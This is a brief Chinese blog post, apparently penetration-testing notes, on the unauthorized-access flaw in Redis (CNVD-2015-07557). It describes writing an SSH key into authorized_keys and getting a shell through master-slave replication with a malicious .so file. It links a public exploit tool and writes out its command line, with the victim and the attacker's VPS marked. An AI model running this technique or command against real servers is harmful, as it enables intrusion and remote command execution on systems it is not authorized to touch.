Redis未授权访问漏洞

Posted by Azeril on August 7, 2024

Redis未授权访问漏洞

redis 未授权访问 (CNVD-2015-07557)

Redis是一套开源的使用ANSI C编写支持网络可基于内存亦可持久化的日志型键值存储数据库并提供多种语言的API

Redis默认情况下会绑定在0.0.0.0:6379如果在没有开启认证的情况下可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据攻击者在未授权访问Redis的情况下可以利用Redis的相关方法可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中进而可以直接登录目标服务器

目标系统的权限不够redis用户无法写计划任务和公钥,而且也没有开放ssh端口。 主从复制getshell,写入恶意的so文件达到执行系统命令的目的。 github上有一键可以利用的脚本 https://github.com/n0b0dyCN/redis-rogue-server.git

 ./redis-rogue-server.py --rhost 127.0.0.1 --rport 50513 --lhost 127.0.0.1 --lport 4444 
//前面是受害者主机   后面是攻击者vps

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。